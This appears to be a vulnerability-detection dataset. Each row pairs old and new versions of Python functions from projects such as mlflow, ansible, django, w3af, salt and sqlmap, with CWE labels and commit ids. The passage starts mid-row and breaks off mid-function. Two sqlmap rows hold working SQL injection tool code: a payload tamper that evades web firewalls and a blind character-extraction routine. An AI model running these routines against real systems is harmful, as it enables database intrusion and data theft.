        assert pytest.approx(result.scores[0]) == ndcg[i]

    # test different k values and prediction orders
    predictions = pd.Series([[""2"", ""1"", ""3""]])
    targets = pd.Series([[""1"", ""2"", ""3""]])
    ndcg = [1, 1, 1, 1]
    for i in range(4):
        k = i + 1
        result = ndcg_at_k(k).eval_fn(predictions, targets)
        assert pytest.approx(result.scores[0]) == ndcg[i]

    # test different k values
    predictions = pd.Series([[""4"", ""5"", ""1""]])
    targets = pd.Series([[""1"", ""2"", ""3""]])
    ndcg = [0, 0, 0.2346394, 0.2346394]
    for i in range(4):
        k = i + 1
        result = ndcg_at_k(k).eval_fn(predictions, targets)
        assert pytest.approx(result.scores[0]) == ndcg[i]

    # test duplicate predictions
    predictions = pd.Series([[""1"", ""1"", ""2"", ""5"", ""5""], [""1_1"", ""1_2"", ""2"", ""5"", ""6""]])
    targets = pd.Series([[""1"", ""2"", ""3""], [""1_1"", ""1_2"", ""2"", ""3""]])
    for i in range(4):
        k = i + 1
        result = ndcg_at_k(k).eval_fn(predictions, targets)
        # row 1 and 2 have the same ndcg score
        assert pytest.approx(result.scores[0]) == pytest.approx(result.scores[1])

    # test duplicate targets
    predictions = pd.Series([[""1"", ""2"", ""3""], [""1"", ""2"", ""3""]])
    targets = pd.Series([[""1"", ""1"", ""1""], [""1""]])
    for i in range(4):
        k = i + 1
        result = ndcg_at_k(k).eval_fn(predictions, targets)
        # row 1 and 2 have the same ndcg score
        assert pytest.approx(result.scores[0]) == pytest.approx(result.scores[1])

    predictions = pd.Series([[""c"", ""c"", ""c""]])
    targets = pd.Series([[""a"", ""b""]])
    result = ndcg_at_k(k=3).eval_fn(predictions, targets)
    assert result.scores[0] == 0.0",CWE-703,mlflow/mlflow,b031ba80b219b5be6a96ba6a7c781f1ec6a902e3,"def test_ndcg_at_k():
    # normal cases
    data = pd.DataFrame(
        [
            {""target"": [], ""prediction"": [], ""k"": [3], ""ndcg"": 1},  # no error is made
            {""target"": [], ""prediction"": [""1"", ""2""], ""k"": [3], ""ndcg"": 0},
            {""target"": [""1""], ""prediction"": [], ""k"": [3], ""ndcg"": 0},
            {""target"": [""1""], ""prediction"": [""1""], ""k"": [3], ""ndcg"": 1},
            {""target"": [""1""], ""prediction"": [""2""], ""k"": [3], ""ndcg"": 0},
        ]
    )
    predictions = data[""prediction""]
    targets = data[""target""]
    result = ndcg_at_k(3).eval_fn(predictions, targets)

    assert result.scores == data[""ndcg""].to_list()
    assert pytest.approx(result.aggregate_results[""mean""]) == 0.4
    assert pytest.approx(result.aggregate_results[""p90""]) == 1.0
    assert pytest.approx(result.aggregate_results[""variance""]) == 0.24

    # test different k values
    predictions = pd.Series([[""1"", ""2""]])
    targets = pd.Series([[""1""]])
    ndcg = [1, 1, 1]
    for i in range(3):
        k = i + 1
        result = ndcg_at_k(k).eval_fn(predictions, targets)
        assert pytest.approx(result.scores[0]) == ndcg[i]

    # test different k values and prediction orders
    predictions = pd.Series([[""2"", ""1"", ""3""]])
    targets = pd.Series([[""1"", ""2"", ""3""]])
    ndcg = [1, 1, 1, 1]
    for i in range(4):
        k = i + 1
        result = ndcg_at_k(k).eval_fn(predictions, targets)
        assert pytest.approx(result.scores[0]) == ndcg[i]

    # test different k values
    predictions = pd.Series([[""4"", ""5"", ""1""]])
    targets = pd.Series([[""1"", ""2"", ""3""]])
    ndcg = [0, 0, 0.2346394, 0.2346394]
    for i in range(4):
        k = i + 1
        result = ndcg_at_k(k).eval_fn(predictions, targets)
        assert pytest.approx(result.scores[0]) == ndcg[i]

    # test duplicate predictions
    predictions = pd.Series([[""1"", ""1"", ""2"", ""5"", ""5""], [""1_1"", ""1_2"", ""2"", ""5"", ""6""]])
    targets = pd.Series([[""1"", ""2"", ""3""], [""1_1"", ""1_2"", ""2"", ""3""]])
    for i in range(4):
        k = i + 1
        result = ndcg_at_k(k).eval_fn(predictions, targets)
        # row 1 and 2 have the same ndcg score
        assert pytest.approx(result.scores[0]) == pytest.approx(result.scores[1])

    # test duplicate targets
    predictions = pd.Series([[""1"", ""2"", ""3""], [""1"", ""2"", ""3""]])
    targets = pd.Series([[""1"", ""1"", ""1""], [""1""]])
    for i in range(4):
        k = i + 1
        result = ndcg_at_k(k).eval_fn(predictions, targets)
        # row 1 and 2 have the same ndcg score
        assert pytest.approx(result.scores[0]) == pytest.approx(result.scores[1])"
functions_for_ansible_with_cwe.csv,UNKNOWN,UNKNOWN,test/lib/ansible_test/_data/sanity/code-smell/shebang.py,0,"def main():
    standard_shebangs = set([
        b'#!/bin/bash -eu',
        b'#!/bin/bash -eux',
        b'#!/bin/sh',
        b'#!/usr/bin/env bash',
        b'#!/usr/bin/env fish',
        b'#!/usr/bin/env pwsh',
        b'#!/usr/bin/env python',
        b'#!/usr/bin/make -f',
    ])

    integration_shebangs = set([
        b'#!/bin/sh',
        b'#!/usr/bin/env bash',
        b'#!/usr/bin/env python',
    ])

    module_shebangs = {
        '': b'#!/usr/bin/python',
        '.py': b'#!/usr/bin/python',
        '.ps1': b'#!powershell',
    }

    # see https://unicode.org/faq/utf_bom.html#bom1
    byte_order_marks = (
        (b'\x00\x00\xFE\xFF', 'UTF-32 (BE)'),
        (b'\xFF\xFE\x00\x00', 'UTF-32 (LE)'),
        (b'\xFE\xFF', 'UTF-16 (BE)'),
        (b'\xFF\xFE', 'UTF-16 (LE)'),
        (b'\xEF\xBB\xBF', 'UTF-8'),
    )

    for path in sys.argv[1:] or sys.stdin.read().splitlines():
        with open(path, 'rb') as path_fd:
            shebang = path_fd.readline().strip()
            mode = os.stat(path).st_mode
            executable = (stat.S_IXUSR | stat.S_IXGRP | stat.S_IXOTH) & mode

            if not shebang or not shebang.startswith(b'#!'):
                if executable:
                    print('%s:%d:%d: file without shebang should not be executable' % (path, 0, 0))

                for mark, name in byte_order_marks:
                    if shebang.startswith(mark):
                        print('%s:%d:%d: file starts with a %s byte order mark' % (path, 0, 0, name))
                        break

                continue

            is_module = False
            is_integration = False

            dirname = os.path.dirname(path)

            if path.startswith('lib/ansible/modules/'):
                is_module = True
            elif path.startswith('test/lib/ansible_test/_data/'):
                pass
            elif path.startswith('lib/') or path.startswith('test/lib/'):
                if executable:
                    print('%s:%d:%d: should not be executable' % (path, 0, 0))

                if shebang:
                    print('%s:%d:%d: should not have a shebang' % (path, 0, 0))

                continue
            elif path.startswith('test/integration/targets/') or path.startswith('tests/integration/targets/'):
                is_integration = True

                if dirname.endswith('/library') or '/plugins/modules' in dirname or dirname in (
                        # non-standard module library directories
                        'test/integration/targets/module_precedence/lib_no_extension',
                        'test/integration/targets/module_precedence/lib_with_extension',
                ):
                    is_module = True
            elif dirname == 'plugins/modules':
                is_module = True

            if is_module:
                if executable:
                    print('%s:%d:%d: module should not be executable' % (path, 0, 0))

                ext = os.path.splitext(path)[1]
                expected_shebang = module_shebangs.get(ext)
                expected_ext = ' or '.join(['""%s""' % k for k in module_shebangs])

                if expected_shebang:
                    if shebang == expected_shebang:
                        continue

                    print('%s:%d:%d: expected module shebang ""%s"" but found: %s' % (path, 1, 1, expected_shebang, shebang))
                else:
                    print('%s:%d:%d: expected module extension %s but found: %s' % (path, 0, 0, expected_ext, ext))
            else:
                if is_integration:
                    allowed = integration_shebangs
                else:
                    allowed = standard_shebangs

                if shebang not in allowed:
                    print('%s:%d:%d: unexpected non-module shebang: %s' % (path, 1, 1, shebang))",,ansible/ansible,ed46f83905cd782636bc2c757e8cb5b75938afb3,"def main():
    standard_shebangs = set([
        b'#!/bin/bash -eu',
        b'#!/bin/bash -eux',
        b'#!/bin/sh',
        b'#!/usr/bin/env bash',
        b'#!/usr/bin/env fish',
        b'#!/usr/bin/env pwsh',
        b'#!/usr/bin/env python',
        b'#!/usr/bin/make -f',
    ])

    integration_shebangs = set([
        b'#!/bin/sh',
        b'#!/usr/bin/env bash',
        b'#!/usr/bin/env python',
    ])

    module_shebangs = {
        '': b'#!/usr/bin/python',
        '.py': b'#!/usr/bin/python',
        '.ps1': b'#!powershell',
    }

    # see https://unicode.org/faq/utf_bom.html#bom1
    byte_order_marks = (
        (b'\x00\x00\xFE\xFF', 'UTF-32 (BE)'),
        (b'\xFF\xFE\x00\x00', 'UTF-32 (LE)'),
        (b'\xFE\xFF', 'UTF-16 (BE)'),
        (b'\xFF\xFE', 'UTF-16 (LE)'),
        (b'\xEF\xBB\xBF', 'UTF-8'),
    )

    for path in sys.argv[1:] or sys.stdin.read().splitlines():
        with open(path, 'rb') as path_fd:
            shebang = path_fd.readline().strip()
            mode = os.stat(path).st_mode
            executable = (stat.S_IXUSR | stat.S_IXGRP | stat.S_IXOTH) & mode

            if not shebang or not shebang.startswith(b'#!'):
                if executable:
                    print('%s:%d:%d: file without shebang should not be executable' % (path, 0, 0))

                for mark, name in byte_order_marks:
                    if shebang.startswith(mark):
                        print('%s:%d:%d: file starts with a %s byte order mark' % (path, 0, 0, name))
                        break

                continue

            is_module = False
            is_integration = False

            dirname = os.path.dirname(path)

            if path.startswith('lib/ansible/modules/'):
                is_module = True
            elif path.startswith('test/lib/ansible_test/_data/'):
                pass
            elif path.startswith('lib/') or path.startswith('test/lib/'):
                if executable:
                    print('%s:%d:%d: should not be executable' % (path, 0, 0))

                if shebang:
                    print('%s:%d:%d: should not have a shebang' % (path, 0, 0))

                continue
            elif path.startswith('test/integration/targets/'):
                is_integration = True

                if dirname.endswith('/library') or '/plugins/modules' in dirname or dirname in (
                        # non-standard module library directories
                        'test/integration/targets/module_precedence/lib_no_extension',
                        'test/integration/targets/module_precedence/lib_with_extension',
                ):
                    is_module = True
            elif dirname == 'plugins/modules':
                is_module = True

            if is_module:
                if executable:
                    print('%s:%d:%d: module should not be executable' % (path, 0, 0))

                ext = os.path.splitext(path)[1]
                expected_shebang = module_shebangs.get(ext)
                expected_ext = ' or '.join(['""%s""' % k for k in module_shebangs])

                if expected_shebang:
                    if shebang == expected_shebang:
                        continue

                    print('%s:%d:%d: expected module shebang ""%s"" but found: %s' % (path, 1, 1, expected_shebang, shebang))
                else:
                    print('%s:%d:%d: expected module extension %s but found: %s' % (path, 0, 0, expected_ext, ext))
            else:
                if is_integration:
                    allowed = integration_shebangs
                else:
                    allowed = standard_shebangs

                if shebang not in allowed:
                    print('%s:%d:%d: unexpected non-module shebang: %s' % (path, 1, 1, shebang))"
,UNKNOWN,UNKNOWN,tests/backends/tests.py,1,"def test_cursor_contextmanager(self):
        """"""
        Cursors can be used as a context manager
        """"""
        with connection.cursor() as cursor:
            self.assertIsInstance(cursor, CursorWrapper)
        # Both InterfaceError and ProgrammingError seem to be used when
        # accessing closed cursor (psycopg has InterfaceError, rest seem
        # to use ProgrammingError).
        with self.assertRaises(connection.features.closed_cursor_error_class):
            # cursor should be closed, so no queries should be possible.
            cursor.execute(""SELECT 1"" + connection.features.bare_select_suffix)",CWE-89,django/django,09ffc5c1212d4ced58b708cbbf3dfbfb77b782ca,"def test_cursor_contextmanager(self):
        """"""
        Cursors can be used as a context manager
        """"""
        with connection.cursor() as cursor:
            self.assertIsInstance(cursor, CursorWrapper)
        # Both InterfaceError and ProgrammingError seem to be used when
        # accessing closed cursor (psycopg2 has InterfaceError, rest seem
        # to use ProgrammingError).
        with self.assertRaises(connection.features.closed_cursor_error_class):
            # cursor should be closed, so no queries should be possible.
            cursor.execute(""SELECT 1"" + connection.features.bare_select_suffix)"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/core/ui/tests/gui/disclaimer_accept/test_disclaimer_accept.py,0,"def tearDown(self):
        XpresserUnittest.tearDown(self)
        
        # Just in case... we don't want to break other tests
        startup_cfg = StartUpConfig()
        startup_cfg.accepted_disclaimer = True
        startup_cfg.save()",,andresriancho/w3af,37264a83a8e475d32659f10e50946a76e986972e,"def tearDown(self):
        XpresserUnittest.tearDown(self)
        
        # Just in case... we don't want to break other tests
        startup_cfg = StartUpConfig()
        startup_cfg.accepted_disclaimer = True
        startup_cfg.save()"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,lib/core/agent.py,0,"def preprocessField(self, table, field):
        """"""
        Does a field preprocessing (if needed) based on its type (e.g. image to text)
        Note: used primarily in dumping of custom tables
        """"""

        retVal = field
        if conf.db and table and conf.db in table:
            table = table.split(conf.db)[-1].strip('.')
        try:
            columns = kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(table, True)]
            for name, type_ in columns.items():
                if type_ and type_.upper() in DUMP_DATA_PREPROCESS.get(Backend.getDbms(), {}) and name == field:
                    retVal = DUMP_DATA_PREPROCESS[Backend.getDbms()][type_.upper()] % name
                    break
        except KeyError:
            pass
        return retVal",,andresriancho/w3af,b67f342975d609cee1cc4b89a2e9369f553c550b,"def preprocessField(self, table, field):
        """"""
        Does a field preprocessing (if needed) based on its type (e.g. image to text)
        Note: used primarily in dumping of custom tables
        """"""

        retVal = field
        if conf.db in table:
            table = table.split(conf.db)[-1].strip('.')
        try:
            columns = kb.data.cachedColumns[safeSQLIdentificatorNaming(conf.db)][safeSQLIdentificatorNaming(table, True)]
            for name, type_ in columns.items():
                if type_ and type_.upper() in DUMP_DATA_PREPROCESS.get(Backend.getDbms(), {}) and name == field:
                    retVal = DUMP_DATA_PREPROCESS[Backend.getDbms()][type_.upper()] % name
                    break
        except KeyError:
            pass
        return retVal"
,UNKNOWN,UNKNOWN,tamper/space2pound.py,1,"def tamper(payload):
    """"""
    Replaces space character (' ') with a pound character ('#') followed by
    a random string and a new line ('\n')

    Example:
        * Input: 1 AND 9227=9227
        * Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227

    Requirement:
        * MySQL

    Tested against:
        * MySQL 4.0, 5.0

    Notes:
        * Useful to bypass several web application firewalls
        * Used during the ModSecurity SQL injection challenge,
          http://modsecurity.org/demo/challenge.html
    """"""

    retVal = """"

    if payload:
        for i in xrange(len(payload)):
            if payload[i].isspace():
                randomStr = ''.join(random.choice(string.ascii_uppercase + string.lowercase) for x in range(random.randint(6, 12)))
                retVal += ""%%23%s%%0A"" % randomStr
            elif payload[i] == '#' or payload[i:i+3] == '-- ':
                retVal += payload[i:]
                break
            else:
                retVal += payload[i]

    return retVal",CWE-330,sqlmapproject/sqlmap,1e1f4296681403822bd8ba40c71fe39d52abd266,"def tamper(payload):
    """"""
    Replaces space character (' ') with a pound character ('#') followed by
    a random string and a new line ('\n')

    Example:
        * Input: 1 AND 9227=9227
        * Output: 1%23PTTmJopxdWJ%0AAND%23cWfcVRPV%0A9227=9227

    Requirement:
        * MySQL

    Tested against:
        * MySQL 4.0, 5.0

    Notes:
        * Useful to bypass several web application firewalls
        * Used during the ModSecurity SQL injection challenge,
          http://modsecurity.org/demo/challenge.html
    """"""

    retVal = """"

    if payload:
        for i in xrange(len(payload)):
            if payload[i].isspace():
                randomStr = ''.join(random.choice(string.ascii_uppercase + string.lowercase) for x in range(random.randint(6, 12)))
                retVal += ""%%23%s%%0A"" % randomStr
            elif payload[i] == '#' or payload[i:i+3] == '-- ':
                retVal += payload[i]
                break
            else:
                retVal += payload[i]

    return retVal"
,UNKNOWN,UNKNOWN,tests/pytests/unit/utils/test_vt.py,1,"def test_isalive_no_child():
    term = vt.Terminal(
        ""sleep 100"",
        shell=True,
        stream_stdout=False,
        stream_stderr=False,
    )

    # make sure we have a valid term before we kill the term
    # commenting out for now, terminal seems to be stopping before this point
    aliveness = term.isalive()
    assert term.exitstatus is None
    assert aliveness is True
    # use a large hammer to make sure pid is really dead which will cause it to
    # raise an exception that we want to test for.
    os.kill(term.pid, signal.SIGKILL)
    os.waitpid(term.pid, 0)
    aliveness = term.isalive()
    assert term.exitstatus == 0
    assert aliveness is False",CWE-703,saltstack/salt,e68c8db066cdd43d663cc2a4687982cdb69b4921,"def test_isalive_no_child():
    term = vt.Terminal(
        ""sleep 100"",
        shell=True,
        stream_stdout=False,
        stream_stderr=False,
    )

    # make sure we have a valid term before we kill the term
    # commenting out for now, terminal seems to be stopping before this point
    aliveness = term.isalive()
    assert term.exitstatus is None
    assert aliveness is True
    # use a large hammer to make sure pid is really dead which will cause it to
    # raise an exception that we want to test for.
    os.kill(term.pid, signal.SIGKILL)
    os.waitpid(term.pid, 0)
    aliveness = term.isalive()
    assert term.exitstatus == 0
    assert aliveness is False"
,UNKNOWN,UNKNOWN,tests/unit/cloud/clouds/test_openstack.py,1,"def test_request_instance_should_be_able_to_provide_a_list_of_single_ids_or_names_for_network(
        self,
    ):
        fake_conn = MagicMock()
        expected_network = [""foo"", ""bar"", ""bang"", ""fnord1"", ""fnord2""]
        vm_ = {""name"": ""fnord"", ""driver"": ""fnord"", ""network"": expected_network}
        patch_utils = patch.dict(
            openstack.__utils__,
            {""cloud.check_name"": MagicMock(), ""dictupdate.update"": dictupdate.update},
        )
        with patch_utils:
            openstack.request_instance(vm_=vm_, conn=fake_conn)

            call = fake_conn.create_server.mock_calls[0]
            assert call.kwargs[""network""] == expected_network",CWE-703,saltstack/salt,ac482aa60cfc2fcae27e7924e4323f39a94d03da,"def test_request_instance_should_be_able_to_provide_a_list_of_single_ids_or_names_for_network(
        self,
    ):
        fake_conn = MagicMock()
        expected_network = [""foo"", ""bar"", ""bang"", ""fnord1"", ""fnord2""]
        vm_ = {""name"": ""fnord"", ""driver"": ""fnord"", ""network"": expected_network}
        patch_utils = patch.dict(
            openstack.__utils__,
            {""cloud.check_name"": MagicMock(), ""dictupdate.update"": dictupdate.update},
        )
        with patch_utils:
            openstack.request_instance(vm_=vm_, conn=fake_conn)

            call = fake_conn.create_server.mock_calls[0]
            assert call.kwargs[""network""] == expected_network"
functions_for_w3af_with_cwe.csv,UNKNOWN,UNKNOWN,w3af/core/data/kb/knowledge_base.py,0,"def filter_var(self, location_a, location_b, info_inst):
        """"""
        :return: True if there is no other info in (location_a, location_b)
                 with the same URL, variable as the info_inst.

                 Before I checked the data container parameter names
                 the problem with that approach was that in some rare
                 cases the scanner reported vulnerabilities in:

                    http://target.com/?id={here}&tracking1=23
                    http://target.com/?id={here}&tracking1=23&tracking2=42

                 Where tracking1 and tracking2 were parameters added
                 for tracking the user navigation through the site.

                 Then I realized that this is the same vulnerability
                 since the same piece of code is the one generating
                 them. Thus, no need to report them twice.

        """"""
        saved_vulns = self.get(location_a, location_b)
        if not len(saved_vulns):
            return True

        for saved_vuln in saved_vulns:

            if saved_vuln.get_token_name() != info_inst.get_token_name():
                continue

            if saved_vuln.get_url() != info_inst.get_url():
                continue

            if saved_vuln.get_dc() is None:
                continue

            if info_inst.get_dc() is None:
                continue

            return False

        return True",,andresriancho/w3af,80a460304254afce9632492914eda96be1b56645,"def filter_var(self, location_a, location_b, info_inst):
        """"""
        :return: True if there is no other info in (location_a, location_b)
                 with the same URL, variable, DataContainer.keys() as the
                 info_inst.
        """"""
        saved_vulns = self.get(location_a, location_b)
        if not len(saved_vulns):
            return True

        for saved_vuln in saved_vulns:

            if saved_vuln.get_token_name() != info_inst.get_token_name():
                continue

            if saved_vuln.get_url() != info_inst.get_url():
                continue

            if saved_vuln.get_dc() is None:
                continue

            if info_inst.get_dc() is None:
                continue

            if saved_vuln.get_dc().keys() != info_inst.get_dc().keys():
                continue

            return False

        return True"
functions_for_salt_with_cwe.csv,UNKNOWN,UNKNOWN,salt/output/table_out.py,0,"def row_wrapper(row):
            new_rows = [
                self.wrapfunc(item).split('\n')
                for item in row
            ]
            rows = []
            for item in map(lambda *args: args, *new_rows):
                if isinstance(item, (tuple, list)):
                    rows.append([substr or '' for substr in item])
                else:
                    rows.append([item])
            return rows",,saltstack/salt,3bbacb90f54f24dcdcbd0cf613bbfa1d0b1849cc,"def row_wrapper(row):
            new_rows = [
                self.wrapfunc(item).split('\n')
                for item in row
            ]
            rows = []
            for item in map(None, *new_rows):
                if isinstance(item, (tuple, list)):
                    rows.append([substr or '' for substr in item])
                else:
                    rows.append([item])
            return rows"
,UNKNOWN,UNKNOWN,tests/pytests/unit/states/test_boto_lambda.py,1,"def test_present_when_function_exists_and_permissions_func(global_config):
    global_config.conn_parameters[""key""] = """".join(
        random.choice(string.ascii_lowercase + string.digits) for _ in range(50)
    )
    patcher = patch(""boto3.session.Session"")
    mock_session = patcher.start()
    session_instance = mock_session.return_value
    conn = MagicMock()
    session_instance.client.return_value = conn

    conn.list_functions.return_value = {""Functions"": [global_config.function_ret]}
    conn.update_function_code.return_value = global_config.function_ret
    conn.get_policy.return_value = {
        ""Policy"": salt.utils.json.dumps(
            {
                ""Version"": ""2012-10-17"",
                ""Statement"": [
                    {
                        ""Condition"": {
                            ""ArnLike"": {
                                ""AWS:SourceArn"": (
                                    ""arn:aws:events:us-east-1:9999999999:rule/fooo""
                                )
                            }
                        },
                        ""Action"": ""lambda:InvokeFunction"",
                        ""Resource"": ""arn:aws:lambda:us-east-1:999999999999:function:testfunction"",
                        ""Effect"": ""Allow"",
                        ""Principal"": {""Service"": ""events.amazonaws.com""},
                        ""Sid"": ""AWSEvents_foo-bar999999999999"",
                    }
                ],
                ""Id"": ""default"",
            }
        )
    }

    with patch.dict(
        boto_lambda.__salt__,
        {""boto_iam.get_account_id"": MagicMock(return_value=""1234"")},
    ):
        with TempZipFile() as zipfile:
            with patch(""hashlib.sha256"") as sha256:
                with patch(""os.path.getsize"", return_value=199):
                    sha = sha256()
                    digest = sha.digest()
                    encoded = sha.encode()
                    encoded.strip.return_value = global_config.function_ret[
                        ""CodeSha256""
                    ]
                    result = boto_lambda.__states__[""boto_lambda.function_present""](
                        ""function present"",
                        FunctionName=global_config.function_ret[""FunctionName""],
                        Runtime=global_config.function_ret[""Runtime""],
                        Role=global_config.function_ret[""Role""],
                        Handler=global_config.function_ret[""Handler""],
                        ZipFile=zipfile,
                        Description=global_config.function_ret[""Description""],
                        Timeout=global_config.function_ret[""Timeout""],
                    )
    assert result[""result""]
    assert result[""changes""] == {
        ""old"": {
            ""Permissions"": {
                ""AWSEvents_foo-bar999999999999"": {
                    ""Action"": ""lambda:InvokeFunction"",
                    ""Principal"": ""events.amazonaws.com"",
                    ""SourceArn"": ""arn:aws:events:us-east-1:9999999999:rule/fooo"",
                }
            }
        },
        ""new"": {""Permissions"": {""AWSEvents_foo-bar999999999999"": {}}},
    }","CWE-330, CWE-703",saltstack/salt,8abdd659087504a45cf0d720c018c6ac28b3937f,"def test_present_when_function_exists_and_permissions_func(global_config):
    global_config.conn_parameters[""key""] = """".join(
        random.choice(string.ascii_lowercase + string.digits) for _ in range(50)
    )
    patcher = patch(""boto3.session.Session"")
    mock_session = patcher.start()
    session_instance = mock_session.return_value
    conn = MagicMock()
    session_instance.client.return_value = conn

    conn.list_functions.return_value = {""Functions"": [global_config.function_ret]}
    conn.update_function_code.return_value = global_config.function_ret
    conn.get_policy.return_value = {
        ""Policy"": salt.utils.json.dumps(
            {
                ""Version"": ""2012-10-17"",
                ""Statement"": [
                    {
                        ""Condition"": {
                            ""ArnLike"": {
                                ""AWS:SourceArn"": ""arn:aws:events:us-east-1:9999999999:rule/fooo""
                            }
                        },
                        ""Action"": ""lambda:InvokeFunction"",
                        ""Resource"": ""arn:aws:lambda:us-east-1:999999999999:function:testfunction"",
                        ""Effect"": ""Allow"",
                        ""Principal"": {""Service"": ""events.amazonaws.com""},
                        ""Sid"": ""AWSEvents_foo-bar999999999999"",
                    }
                ],
                ""Id"": ""default"",
            }
        )
    }

    with patch.dict(
        boto_lambda.__salt__,
        {""boto_iam.get_account_id"": MagicMock(return_value=""1234"")},
    ):
        with TempZipFile() as zipfile:
            with patch(""hashlib.sha256"") as sha256:
                with patch(""os.path.getsize"", return_value=199):
                    sha = sha256()
                    digest = sha.digest()
                    encoded = sha.encode()
                    encoded.strip.return_value = global_config.function_ret[
                        ""CodeSha256""
                    ]
                    result = boto_lambda.__states__[""boto_lambda.function_present""](
                        ""function present"",
                        FunctionName=global_config.function_ret[""FunctionName""],
                        Runtime=global_config.function_ret[""Runtime""],
                        Role=global_config.function_ret[""Role""],
                        Handler=global_config.function_ret[""Handler""],
                        ZipFile=zipfile,
                        Description=global_config.function_ret[""Description""],
                        Timeout=global_config.function_ret[""Timeout""],
                    )
    assert result[""result""]
    assert result[""changes""] == {
        ""old"": {
            ""Permissions"": {
                ""AWSEvents_foo-bar999999999999"": {
                    ""Action"": ""lambda:InvokeFunction"",
                    ""Principal"": ""events.amazonaws.com"",
                    ""SourceArn"": ""arn:aws:events:us-east-1:9999999999:rule/fooo"",
                }
            }
        },
        ""new"": {""Permissions"": {""AWSEvents_foo-bar999999999999"": {}}},
    }"
functions_for_sqlmap_with_cwe.csv,UNKNOWN,UNKNOWN,lib/techniques/blind/inference.py,0,"def getChar(idx, charTbl=None, continuousOrder=True, expand=charsetType is None, shiftTable=None, retried=None):
            """"""
            continuousOrder means that distance between each two neighbour's
            numerical values is exactly 1
            """"""

            result = tryHint(idx)

            if result:
                return result

            if charTbl is None:
                charTbl = type(asciiTbl)(asciiTbl)

            originalTbl = type(charTbl)(charTbl)

            if continuousOrder and shiftTable is None:
                # Used for gradual expanding into unicode charspace
                shiftTable = [2, 2, 3, 3, 5, 4]

            if ""'%s'"" % CHAR_INFERENCE_MARK in payload:
                for char in ('\n', '\r'):
                    if ord(char) in charTbl:
                        charTbl.remove(ord(char))

            if not charTbl:
                return None

            elif len(charTbl) == 1:
                forgedPayload = safeStringFormat(payload.replace(INFERENCE_GREATER_CHAR, INFERENCE_EQUALS_CHAR), (expressionUnescaped, idx, charTbl[0]))
                result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
                incrementCounter(kb.technique)

                if result:
                    return decodeIntToUnicode(charTbl[0])
                else:
                    return None

            maxChar = maxValue = charTbl[-1]
            minChar = minValue = charTbl[0]
            firstCheck = False
            lastCheck = False
            unexpectedCode = False

            while len(charTbl) != 1:
                position = None

                if charsetType is None:
                    if not firstCheck:
                        try:
                            try:
                                lastChar = [_ for _ in threadData.shared.value if _ is not None][-1]
                            except IndexError:
                                lastChar = None
                            if 'a' <= lastChar <= 'z':
                                position = charTbl.index(ord('a') - 1)  # 96
                            elif 'A' <= lastChar <= 'Z':
                                position = charTbl.index(ord('A') - 1)  # 64
                            elif '0' <= lastChar <= '9':
                                position = charTbl.index(ord('0') - 1)  # 47
                        except ValueError:
                            pass
                        finally:
                            firstCheck = True

                    elif not lastCheck and numThreads == 1:  # not usable in multi-threading environment
                        if charTbl[(len(charTbl) >> 1)] < ord(' '):
                            try:
                                # favorize last char check if current value inclines toward 0
                                position = charTbl.index(1)
                            except ValueError:
                                pass
                            finally:
                                lastCheck = True

                if position is None:
                    position = (len(charTbl) >> 1)

                posValue = charTbl[position]
                falsePayload = None

                if ""'%s'"" % CHAR_INFERENCE_MARK not in payload:
                    forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx, posValue))
                    falsePayload = safeStringFormat(payload, (expressionUnescaped, idx, RANDOM_INTEGER_MARKER))
                else:
                    # e.g.: ... > '%c' -> ... > ORD(..)
                    markingValue = ""'%s'"" % CHAR_INFERENCE_MARK
                    unescapedCharValue = unescaper.escape(""'%s'"" % decodeIntToUnicode(posValue))
                    forgedPayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, unescapedCharValue)
                    falsePayload = safeStringFormat(payload, (expressionUnescaped, idx)).replace(markingValue, NULL)

                if timeBasedCompare:
                    if kb.responseTimeMode:
                        kb.responseTimePayload = falsePayload
                    else:
                        kb.responseTimePayload = None

                result = Request.queryPage(forgedPayload, timeBasedCompare=timeBasedCompare, raise404=False)
                incrementCounter(kb.technique)

                if not timeBasedCompare:
                    unexpectedCode |= threadData.lastCode not in (kb.injection.data[kb.technique].falseCode, kb.injection.data[kb.technique].trueCode)
                    if unexpectedCode:
                        warnMsg = ""unexpected HTTP code '%s' detected. Will use (extra) validation step in similar cases"" % threadData.lastCode
                        singleTimeWarnMessage(warnMsg)

                if result:
                    minValue = posValue

                    if type(charTbl) != xrange:
                        charTbl = charTbl[position:]
                    else:
                        # xrange() - extended virtual charset used for memory/space optimization
                        charTbl = xrange(charTbl[position], charTbl[-1] + 1)
                else:
                    maxValue = posValue

                    if type(charTbl) != xrange:
                        charTbl = charTbl[:position]
                    else:
                        charTbl = xrange(charTbl[0], charTbl[position])

                if len(charTbl) == 1:
                    if continuousOrder:
                        if maxValue == 1:
                            return None

                        # Going beyond the original charset
                        elif minValue == maxChar:
                            # If the original charTbl was [0,..,127] new one
                            # will be [128,..,(128 << 4) - 1] or from 128 to 2047
                            # and instead of making a HUGE list with all the
                            # elements we use a xrange, which is a virtual
                            # list
                            if expand and shiftTable:
                                charTbl = xrange(maxChar + 1, (maxChar + 1) << shiftTable.pop())
                                originalTbl = xrange(charTbl)
                                maxChar = maxValue = charTbl[-1]
                                minChar = minValue = charTbl[0]
                            else:
                                return None
                        else:
                            retVal = minValue + 1

                            if retVal in originalTbl or (retVal == ord('\n') and CHAR_INFERENCE_MARK in payload):
                                if (timeBasedCompare or unexpectedCode) and not validateChar(idx, retVal):
                                    if not kb.originalTimeDelay:
                                        kb.originalTimeDelay = conf.timeSec

                                    threadData.validationRun = 0
                                    if retried < MAX_REVALIDATION_STEPS:
                                        errMsg = ""invalid character detected. retrying..""
                                        logger.error(errMsg)

                                        if timeBasedCompare:
                                            if kb.adjustTimeDelay is not ADJUST_TIME_DELAY.DISABLE:
                                                conf.timeSec += 1
                                                warnMsg = ""increasing time delay to %d second%s "" % (conf.timeSec, 's' if conf.timeSec > 1 else '')
                                                logger.warn(warnMsg)

                                            if kb.adjustTimeDelay is ADJUST_TIME_DELAY.YES:
                                                dbgMsg = ""turning off time auto-adjustment mechanism""
                                                logger.debug(dbgMsg)
                                                kb.adjustTimeDelay = ADJUST_TIME_DELAY.NO

